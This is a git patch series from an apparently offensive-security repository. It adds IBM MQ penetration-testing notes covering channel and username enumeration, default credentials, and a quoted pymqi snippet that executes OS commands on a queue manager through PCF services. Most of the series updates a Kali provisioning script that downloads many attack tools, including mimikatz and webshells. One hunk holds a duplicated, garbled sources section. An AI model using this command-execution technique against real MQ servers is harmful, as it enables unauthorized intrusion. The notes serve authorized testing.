From 87d8825215a2f4e46a946005bef18690f1d98c15 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Wed, 20 Nov 2019 16:42:04 +0100 Subject: [PATCH 01/34] IBM MQ notes --- linux/prepare-kali.sh | 1 + networks/IBM-MQ-Pentesting-notes.md | 189 ++++++++++++++++++++++++++++ networks/README.md | 2 + 3 files changed, 192 insertions(+) create mode 100644 networks/IBM-MQ-Pentesting-notes.md diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 4f82e93..1762ada 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -100,6 +100,7 @@ git_clone https://github.com/RhinoSecurityLabs/pacu.git ; cd pacu ; bash install git_clone https://github.com/Alfresco/prowler.git git_clone https://github.com/sa7mon/S3Scanner.git git_clone https://github.com/ankane/s3tk.git +git_clone https://github.com/andresriancho/enumerate-iam git_clone https://github.com/arkadiyt/aws_public_ips.git git_clone go get github.com/haccer/subjack.git git_clone https://github.com/Skyscanner/lambdaguard.git diff --git a/networks/IBM-MQ-Pentesting-notes.md b/networks/IBM-MQ-Pentesting-notes.md new file mode 100644 index 0000000..48a390c --- /dev/null +++ b/networks/IBM-MQ-Pentesting-notes.md @@ -0,0 +1,189 @@ +# Practical IBM MQ Penetration Testing notes + +In order to interact with IBM MQ in any way, we need to install IBM MQ Client libraries, available only on IBM website. Account registration will be required to get hands on them. + +### Step 1: Installing prerequisities + +**Pre-requisites: IBM MQ Client** + +1. Download the [IBM MQ V9.0.0.4 LTS Clients](http://ibm.biz/mq9004clients) - the file should be named: `9.0.0.4-IBM-MQC-LinuxX64.tar.gz` (_9.0.0.4 Client install image for IBM MQ on Linux X86-64_) - size: 397MB +2. Extract it to whatever directory. +3. Install debian/Kali/Ubuntu pre-requisities `apt install -y python-dev rpm` +4. Accept the license: `sudo ./mqlicense.sh -accept` or `sudo ./mqlicense.sh -text_only` +5. Do the following: + +``` +rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm +rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm +rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm +``` + +### **Step 2: Pymqi & punch-q** + +Having properly installed all of the MQ Client dependencies, we can now proceed to installing `pymqi` and `punch-q`: + +1. Clone the punch-q repo: `git clone https://github.com/sensepost/punch-q` +2. Install them: +``` +# pip install pymqi +# pip install -r requirements.txt +# python setup.py install +``` + +3. Before using `punch-q` specify MQ libraries path: + +Either globally: +``` +# sudo echo /opt/mqm/lib64 > /etc/ld.so.conf.d/mqm.x86_64.conf +# sudo ldconfig -v +``` + +or temporarily: +``` +# export LD_LIBRARY_PATH=/opt/mqm/lib64 +``` + +**One stop shop script installing IBM MQ Client libraries** + +Assuming we have `9.0.0.4-IBM-MQC-LinuxX64.tar.gz` file in our current directory, following script applies on Kali x64 linux: +``` +apt install -y python-dev rpm pcregrep +tar -xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz +pcregrep -vM '(?:echo "\s+This package was built for \$\{BUILD_PLATFORM\}")\n\s*exit 1' mqlicense.sh > /tmp/mqlicense.sh +cat /tmp/mqlicense.sh > mqlicense.sh +rm /tmp/mqlicense.sh +yes | sudo ./mqlicense.sh -accept +rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm +rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm +rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm +pip install pymqi +echo /opt/mqm/lib64 > /etc/ld.so.conf.d/mqm.x86_64.conf +sudo ldconfig -v +ls | grep -v 9.0.0.4-IBM-MQC-LinuxX64.tar.gz | xargs rm -rf +git clone https://github.com/sensepost/punch-q +cd punch-q +pip install -r requirements.txt +python setup.py install +``` + +## Step 2: Handy notes on where to focus + +**Internally:** + +Having found several running processes with names such as: +`amqsvc.exe`, `amqxssvn.exe`, `amqrrmfa.exe`, `amqmtbrn.exe` + +These processes will be running impersonated as highly privileged service user name (according to the usernames table available below, at 2) . These users will act as local SAM users, which means we might be able to dump their NTLM passwords and crack them or even change them to whatever value we wish to facilitate successful IBM MQ server authentication. + +**Externally:** + +By using `punch-mq` we can: +1) Discover/Brute-Force available CHANNELS, +2) Enumerate usernames (valid UserId fields) +3) Enumerate Queue Manager names +4) List available Channels or Queues as an authenticated user. +5) PUT, GET, Dump, Save, Sniff messages given an existent QUEUE name, as an authenticated user +6) Issue OS Commands by the use of `PCFExecute` functionality + +In order to successfully authenticate to the IBM MQ server, we will need to have upfront following informatio prepared: +- Hostname/IP address +- TCP Port, typically `1414/tcp` +- Queue Manager name - easily obtained by the use of nmap scripts: `nmap -p 1414 -sV ` +- Channel name (can be one of the below listed), at first start with: `SYSTEM.ADMIN.SVRCONN` +- Username (list of default system usernames below) +- Password + +Incorrect access credentials will result in `pymqi` returning following response: +``` +pymqi.MQMIError: MQI Error. Comp: 2, Reason 2035: FAILED: MQRC_NOT_AUTHORIZED +``` + +### 1) Default channel names: + +_(in order to view system objects - click "Show System Objects" on upper right side of the MQ Explorer interface)_ + +``` +SYSTEM.ADMIN.SVRCONN +SYSTEM.AUTO.SVRCONN +SYSTEM.DEF.SVRCONN +SYSTEM.DEF.SERVER +SYSTEM.DEF.CLNTCONN +``` + +### 2) Default Userid's depending on target OS version: + +| OS Version | UserId | +|----------------|--------------| +| Linux/Unix/AIX | mqm | +| Windows | MUSR_MQADMIN | +| Other | mqadmin | + +### 5) Important Administration QUEUE names: + +``` +SYSTEM.ADMIN.COMMAND.QUEUE +SYSTEM.DEFAULT.MODEL.QUEUE +SYSTEM.AUTH.DATA.QUEUE +``` + +### 6) Remote Code Execution + +**6.1. Programmable Command Format (PCF) Services** + +Being authenticated to the Queue Manager and a corresponding channel, we might be able to execute PCF (_Programmable Command Format_) commands (on MQ v6+) that would give us OS command execution by the use a concept called _services_: +- `MQCMD_CREATE_SERVICE`, +- `MQCMD_START_SERVICE`, +- `MQCMD_STOP_SERVICE`, +- `MQCMD_DELETE_SERVICE` + +That holds true as long as our impersonated user has sufficient permissions within OAM (Object Authority Manager) to perform requested PCF operation on the relevant objects. + +Using `pymqi` or `punch-mq` this is as simple as invoking following code (source: [punch-mq](https://github.com/sensepost/punch-q/blob/master/libpunchq/cli.py) ): +``` + # create service + qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), + mqstate.username, mqstate.password) + + args = { + pymqi.CMQC.MQCA_SERVICE_NAME: service_name, + pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL, + pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND, + pymqi.CMQC.MQCA_SERVICE_START_COMMAND: str(cmd), + pymqi.CMQC.MQCA_SERVICE_START_ARGS: str(args) + } + pcf = pymqi.PCFExecute(qmgr) + pcf.MQCMD_CREATE_SERVICE(args) + + # start the service + args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name} + + pcf = pymqi.PCFExecute(qmgr) + pcf.MQCMD_START_SERVICE(args) + + # Giving the service some time to live + time.sleep(wait) + + # delete service + args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name} + + pcf = pymqi.PCFExecute(qmgr) + pcf.MQCMD_DELETE_SERVICE(args) + + qmgr.disconnect() +``` + +Incomming command will then be executed most likely as a root user. `punch-mq` does not implement any way of getting command's result back so we will have to go blindly here, preferably just using reverse-shell oneliner. + +If we wish to have our commands' results back, then more code will need to be added facilitating specification of output Queue where PCF should PUT it's results, then manual Queue read by the use of GET operation to retrieve OS command's outcome. Such a Queue could be created based on `SYSTEM.DEFAULT.MODEL.QUEUE` template. Martyn Ruks goes in details on that in his paper (ref: 1, page 24). + +**6.2. Use of Triggers** + +Martyn Ruks described (ref: 1, page 30) that we may also succeed invoking system commands by defining event triggers that would execute specified command as soon as preconfigured event fired up our malicious trigger. + + +## Additional sources + +1. [Martyn Ruks: WebSphere MQ Security. White Paper – Part 1](https://labs.f-secure.com/assets/141/original/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf) +2. [Martyn Ruks: MQ Jumping](https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) +3. [punch-q](https://github.com/sensepost/punch-q) +4. [pymqi installation issue](https://github.com/dsuch/pymqi/issues/15#issuecomment-124772995) \ No newline at end of file diff --git a/networks/README.md b/networks/README.md index 926afea..1b445a0 100644 --- a/networks/README.md +++ b/networks/README.md @@ -90,6 +90,8 @@ Hostname: mail.example.com - **`HSRPFlooder.py`** - Proof of concept _HSRP Coup State: Active_ flooder, trying to provoke Denial of Service within LAN segment due to tunnelling packets to the non-existent gateway that won active-router election. Not working stabily at the moment. +- **`IBM-MQ-Pentesting-notes.md`** - Busy-man's Practical IBM MQ Penetration Testing cheatsheet, equipped with a couple of handy tips and punch-q installation walkthrough. ([gist](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)) + - **`iis_webdav_upload.py`** - Microsoft IIS WebDAV Write Code Execution exploit (based on Metasploit HDM's implementation). ([gist](https://gist.github.com/mgeeky/ce179cdbe4d8d85979a28c1de61618c2)) - **`libssh-auth-bypass.py`** - CVE-2018-10993 libSSH authentication bypass exploit From 538e2baa3c8ef0c6b162e35224279da8e012feb7 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Thu, 21 Nov 2019 15:29:44 +0100 Subject: [PATCH 02/34] Changed releases downloads to their latest version and added ccat as well as ruler --- linux/prepare-kali.sh | 35 ++++++++++++++++++++++++----------- 1 file changed, 24 insertions(+), 11 deletions(-) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 1762ada..968f1ab 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -44,7 +44,7 @@ configure_neo4j() { apt update ; apt upgrade -y -apt install -y git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang python-software-properties neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient +apt install -y git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang python-software-properties neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar pip3 install virtualenv awscli wheel boto3 botocore btlejack pip2 install virtualenv wheel boto3 botocore pyinstaller lxml pyip ansi2html @@ -195,6 +195,13 @@ git_clone https://github.com/fox-it/mitm6.git git_clone https://github.com/lgandx/PCredz.git git_clone https://github.com/DanMcInerney/net-creds.git git_clone https://github.com/rofl0r/proxychains-ng.git +git_clone https://github.com/cisco-config-analysis-tool/ccat.git +cd ccat +wget https://github.com/cisco-config-analysis-tool/ccat/releases/download/v1.01/ccat_v1.01.rar +mkdir ccat-release +unrar x ccat_v1.01.rar ccat-release +rm ccat_v1.01.rar +cd .. git_clone https://github.com/brav0hax/smbexec.git git_clone https://github.com/inquisb/icmpsh.git git_clone https://github.com/tomac/yersinia.git @@ -301,15 +308,21 @@ git_clone https://github.com/Veil-Framework/Veil-Evasion.git git_clone https://github.com/pentestgeek/phishing-frenzy.git git_clone https://github.com/trustedsec/social-engineer-toolkit.git git_clone https://github.com/bluscreenofjeff/Malleable-C2-Randomizer.git +git_clone https://github.com/sensepost/ruler.git +cd ruler +wget https://github.com/sensepost/ruler/releases/latest/download/ruler-win64.exe +wget https://github.com/sensepost/ruler/releases/latest/download/ruler-linux32.exe +wget https://github.com/sensepost/ruler/releases/latest/download/ruler-linux64.exe +cd .. git_clone https://github.com/rsmudge/Malleable-C2-Profiles.git git_clone https://github.com/sense-of-security/ADRecon.git git_clone https://github.com/threatexpress/malleable-c2.git git_clone https://github.com/ropnop/kerbrute.git cd kerbrute -wget https://github.com/ropnop/kerbrute/releases/download/v1.0.1/kerbrute_windows_amd64.exe -wget https://github.com/ropnop/kerbrute/releases/download/v1.0.1/kerbrute_windows_386.exe -wget https://github.com/ropnop/kerbrute/releases/download/v1.0.1/kerbrute_linux_amd64 -wget https://github.com/ropnop/kerbrute/releases/download/v1.0.1/kerbrute_linux_386 +wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_windows_amd64.exe +wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_windows_386.exe +wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 +wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_386 chmod +x kerbrute_* cd .. git_clone https://github.com/Raikia/CredNinja.git @@ -353,9 +366,9 @@ wget https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/ cd .. git_clone https://github.com/BloodHoundAD/BloodHound.git cd BloodHound -wget https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-linux-x64.zip -wget https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-win32-x64.zip -wget https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-win32-ia32.zip +wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-linux-x64.zip +wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-win32-x64.zip +wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-win32-ia32.zip for a in *.zip ; do unzip -d . $a rm $a @@ -382,10 +395,10 @@ git_clone https://github.com/gentilkiwi/mimikatz.git git_clone https://github.com/brav0hax/smbexec.git git_clone https://github.com/SecureAuthCorp/impacket.git cd impacket ; mkdir binaries ; cd binaries ; -wget https://github.com/ropnop/impacket_static_binaries/releases/download/0.9.19-binaries/impacket_windows_binaries.zip +wget https://github.com/ropnop/impacket_static_binaries/releases/latest/download/impacket_windows_binaries.zip unzip -d . impacket_windows_binaries.zip rm impacket_windows_binaries.zip -wget https://github.com/ropnop/impacket_static_binaries/releases/download/0.9.19-binaries/impacket_linux_binaries.tar.gz +wget https://github.com/ropnop/impacket_static_binaries/releases/latest/download/impacket_linux_binaries.tar.gz tar xzf impacket_linux_binaries.tar.gz rm impacket_linux_binaries.tar.gz python setup.py install @@ -428,7 +441,7 @@ git_clone https://github.com/beefproject/beef/ ; pushd beef ; yes | ./install ; git_clone https://github.com/mitmproxy/mitmproxy.git git_clone https://github.com/sqlmapproject/sqlmap.git mkdir aquatone ; cd aquatone -wget https://github.com/michenriksen/aquatone/releases/download/v1.6.0/aquatone_linux_amd64_1.6.0.zip +wget https://github.com/michenriksen/aquatone/releases/latest/download/aquatone_linux_amd64_1.6.0.zip unzip -d . aquatone_linux_amd64_1.6.0.zip rm aquatone_linux_amd64_1.6.0.zip chmod +x aquatone From dd5be2c6566101f2ac8516e17550db3308c2babe Mon Sep 17 00:00:00 2001 From: mgeeky Date: Mon, 25 Nov 2019 13:06:08 +0100 Subject: [PATCH 03/34] Updated IBM MQ notes. --- networks/IBM-MQ-Pentesting-notes.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/networks/IBM-MQ-Pentesting-notes.md b/networks/IBM-MQ-Pentesting-notes.md index 48a390c..710828d 100644 --- a/networks/IBM-MQ-Pentesting-notes.md +++ b/networks/IBM-MQ-Pentesting-notes.md @@ -181,6 +181,15 @@ If we wish to have our commands' results back, then more code will need to be ad Martyn Ruks described (ref: 1, page 30) that we may also succeed invoking system commands by defining event triggers that would execute specified command as soon as preconfigured event fired up our malicious trigger. +## Additional sources + +1. [Martyn Ruks: WebSphere MQ Security. White Paper – Part 1](https://labs.f-secure.com/assets/141/original/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf) +2. [Martyn Ruks: MQ Jumping](https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) +3. [punch-q](https://github.com/sensepost/punch-q) +4. [pymqi installation issue](https://github.com/dsuch/pymqi/issues/15#issuecomment-124772995)raad](https://gist.github.com/mgeeky/fc11c9f227755a529eb607ed4d1742f9) + + + ## Additional sources 1. [Martyn Ruks: WebSphere MQ Security. White Paper – Part 1](https://labs.f-secure.com/assets/141/original/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf) From 896663c0ba658a5c2a7aae9f81e8aa9f7715bc77 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Thu, 28 Nov 2019 17:18:54 +0100 Subject: [PATCH 04/34] Removed one python-software package --- linux/prepare-kali.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 968f1ab..2f255af 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -44,7 +44,7 @@ configure_neo4j() { apt update ; apt upgrade -y -apt install -y git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang python-software-properties neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar +apt install -y -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar pip3 install virtualenv awscli wheel boto3 botocore btlejack pip2 install virtualenv wheel boto3 botocore pyinstaller lxml pyip ansi2html From 331c099192abd8a1a66750ccc8ebf1368ce901c4 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Thu, 28 Nov 2019 17:21:45 +0100 Subject: [PATCH 05/34] Tweaks --- linux/prepare-kali.sh | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 2f255af..915cf1f 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -42,9 +42,12 @@ configure_neo4j() { curl -H "Content-Type: application/json" -X POST -d '{"password":"neo4jj"}' -u neo4j:neo4j http://localhost:7474/user/neo4j/password } -apt update ; apt upgrade -y +export DEBIAN_FRONTEND=noninteractive -apt install -y -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar +apt-get update ; apt upgrade -y +apt-get update --fix-missing + +apt install -yq -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar pip3 install virtualenv awscli wheel boto3 botocore btlejack pip2 install virtualenv wheel boto3 botocore pyinstaller lxml pyip ansi2html From 50262fb0fb77cb1ccd03946f2addac2e5787af60 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Tue, 3 Dec 2019 11:45:42 +0100 Subject: [PATCH 06/34] Addressing issue reported by @scaery, fixing miLazyCrackerInstall.sh script and other apt-get interactive prompts, added some comments --- linux/prepare-kali.sh | 48 +++++++++++++++++++++++++++++++++++++++---- 1 file changed, 44 insertions(+), 4 deletions(-) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 915cf1f..d4d4435 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -1,4 +1,20 @@ #!/bin/bash +# +# This is script intended for provisioning vanilla Kali installation with a bunch +# of additional packages, tools and dictionaries. Basically useful for not-so-quick (+/- 4hours) +# provisioning of Kali distro intended for some heavy pentesting purposes. +# +# Assumptions made: +# - script must be totally non-interactive, capable of provisioning Kali system without any +# further user interaction (especially true for apt-get Y/n prompts) +# - issues with tool installation/setup are acceptable, after all need arise - the pentester +# will have to carry off the setup himself +# - issues with unavailable repositories/packages are NOT acceptable. I need to either take care of +# keeping tools list more or less up-to-date, or to remove tool's pull down entirely from the script +# - only tools that I've found useful at least twice are landing in this script. +# +# Mariusz B., '18-'19 +# # Well, entire Kali installation assume that we are normally working as root on our Kali. # I know that assumption sucks to its root, but I wanted to avoid every "permission denied" issue and I was too lazy @@ -47,9 +63,11 @@ export DEBIAN_FRONTEND=noninteractive apt-get update ; apt upgrade -y apt-get update --fix-missing -apt install -yq -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar +apt install -yq -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar libnfc-bin autoconf libnfc-dev debian-keyring tox libmariadb-dev python-m2crypt mitmproxy -pip3 install virtualenv awscli wheel boto3 botocore btlejack +pip2 install -U pip +pip3 install -U pip +pip3 install virtualenv awscli wheel boto3 botocore btlejack pip2 install virtualenv wheel boto3 botocore pyinstaller lxml pyip ansi2html install_dotnet @@ -80,12 +98,14 @@ mkdir {bruteforce,clouds,devops,deserialization,exploitdev,windows,redteam,recon git_clone https://github.com/mgeeky/Penetration-Testing-Tools +# ======================================================================================= pushd bruteforce git_clone https://github.com/lanjelot/patator.git git_clone https://github.com/galkan/crowbar.git git clone --depth=1 --branch=master https://www.github.com/landgrey/pydictor.git && chmod 755 pydictor/pydictor.py popd +# ======================================================================================= pushd clouds mkdir {aws,azure,gcp,kubernetes} @@ -135,6 +155,7 @@ git_clone https://github.com/carnal0wnage/weirdAAL.git ; cd weirdAAL ; apt-get i cd .. popd +# ======================================================================================= pushd deserialization git_clone https://github.com/matthiaskaiser/jmet.git git_clone https://github.com/joaomatosf/JavaDeserH2HC.git @@ -145,12 +166,14 @@ git_clone https://github.com/joaomatosf/jexboss.git wget 'https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar' -O ysoserial/ysoserial.jar popd +# ======================================================================================= pushd devops git clone --recurse-submodules -b develop https://github.com/torque59/Garfield.git git_clone https://github.com/wavestone-cdt/hadoop-attack-library.git wget https://raw.githubusercontent.com/n0tty/Random-Hacking-Scripts/master/pwnsible.sh ; chmod +x pwnsible.sh popd +# ======================================================================================= pushd exploitdev git_clone https://github.com/sashs/Ropper.git git_clone https://github.com/longld/peda.git @@ -159,6 +182,7 @@ git_clone https://github.com/packz/ropeme.git git_clone https://github.com/mgeeky/Exploit-Development-Tools.git popd +# ======================================================================================= pushd hardware git_clone https://github.com/DrSchottky/mfcuk.git cd mfcuk @@ -174,10 +198,11 @@ git_clone https://github.com/nfc-tools/miLazyCracker.git cd miLazyCracker wget http://crapto1.netgarage.org/craptev1-v1.1.tar.xz wget http://crapto1.netgarage.org/crapto1-v3.3.tar.xz +sed -ir 's/apt-get install/apt-get install -y/' miLazyCrackerFreshInstall.sh ./miLazyCrackerFreshInstall.sh cd .. git_clone https://github.com/RfidResearchGroup/proxmark3.git -apt-get remove modemmanager +apt-get remove -y modemmanager cd proxmark3 make clean && make -j8 all cd .. @@ -190,6 +215,7 @@ npm install -g gattacker git_clone https://github.com/virtualabs/btlejack.git popd +# ======================================================================================= pushd infra git_clone https://github.com/bonsaiviking/NfSpy.git git_clone https://github.com/lgandx/Responder.git @@ -215,6 +241,7 @@ git_clone https://github.com/SpiderLabs/ikeforce.git git_clone https://github.com/EnableSecurity/sipvicious.git popd +# ======================================================================================= pushd fuzzers git_clone https://github.com/googleprojectzero/domato.git wget http://www.immunitysec.com/downloads/SPIKE2.9.tgz ; tar -xvzf SPIKE2.9.tgz ; rm SPIKE2.9.tgz @@ -237,11 +264,13 @@ git_clone https://github.com/OpenRCE/sulley.git git_clone https://github.com/renatahodovan/grammarinator.git popd +# ======================================================================================= pushd linux git_clone https://github.com/Arr0way/linux-local-enumeration-script.git git_clone https://github.com/CISOfy/lynis.git popd +# ======================================================================================= pushd misc git_clone https://github.com/nullsecuritynet/tools.git git_clone https://github.com/leebaird/discover.git @@ -253,17 +282,19 @@ git_clone https://github.com/wireghoul/graudit.git git_clone https://github.com/netbiosX/Checklists.git popd +# ======================================================================================= pushd privesc git_clone https://github.com/AusJock/Privilege-Escalation.git popd +# ======================================================================================= pushd recon git_clone https://github.com/FortyNorthSecurity/EyeWitness.git git_clone https://github.com/OWASP/Amass.git git_clone https://github.com/michenriksen/gitrob.git git_clone https://github.com/darkoperator/dnsrecon.git git_clone https://github.com/smicallef/spiderfoot.git -git_clone https://bitbucket.org/LaNMaSteR53/recon-ng.git ; cd recon-ng ; pip install -r REQUIREMENTS ; cd .. +git_clone https://github.com/lanmaster53/recon-ng.git ; cd recon-ng ; pip install -r REQUIREMENTS ; cd .. git_clone https://github.com/infosec-au/altdns.git git_clone https://github.com/jhaddix/domain.git mv domain jhaddix-enumall @@ -286,6 +317,7 @@ git_clone https://github.com/michenriksen/aquatone.git git_clone https://github.com/dxa4481/truffleHog.git popd +# ======================================================================================= pushd redteam git_clone https://github.com/jaredhaight/PSAttack.git cd PSAttack @@ -410,6 +442,7 @@ git_clone https://github.com/rasta-mouse/Watson.git popd +# ======================================================================================= pushd reversing wget https://ghidra-sre.org/ghidra_9.0_PUBLIC_20190228.zip -O ghidra.zip ; unzip -d . ghidra.zip ; rm ghidra.zip git_clone https://github.com/longld/peda.git ; echo "source $ROOT_DIR/tools/reversing/peda/peda.py" >> $ROOT_DIR/.gdbinit ; @@ -417,22 +450,26 @@ git_clone https://github.com/hugsy/gef.git git_clone https://github.com/radare/radare2.git ; cd radare2 ; sys/install.sh ; r2pm init ; r2pm update ; pip install r2pipe ; cd .. popd +# ======================================================================================= pushd shells git_clone https://github.com/BlackArch/webshells.git git_clone https://github.com/Ne0nd0g/merlin.git popd +# ======================================================================================= pushd sourceaudit git_clone https://github.com/presidentbeef/brakeman.git git_clone https://github.com/wireghoul/graudit.git popd +# ======================================================================================= pushd ssl git_clone https://github.com/rbsec/sslscan.git git clone --depth 1 https://github.com/drwetter/testssl.sh.git git_clone https://github.com/tomato42/tlsfuzzer.git popd +# ======================================================================================= pushd web git_clone https://github.com/mgeeky/tomcatWarDeployer.git git_clone 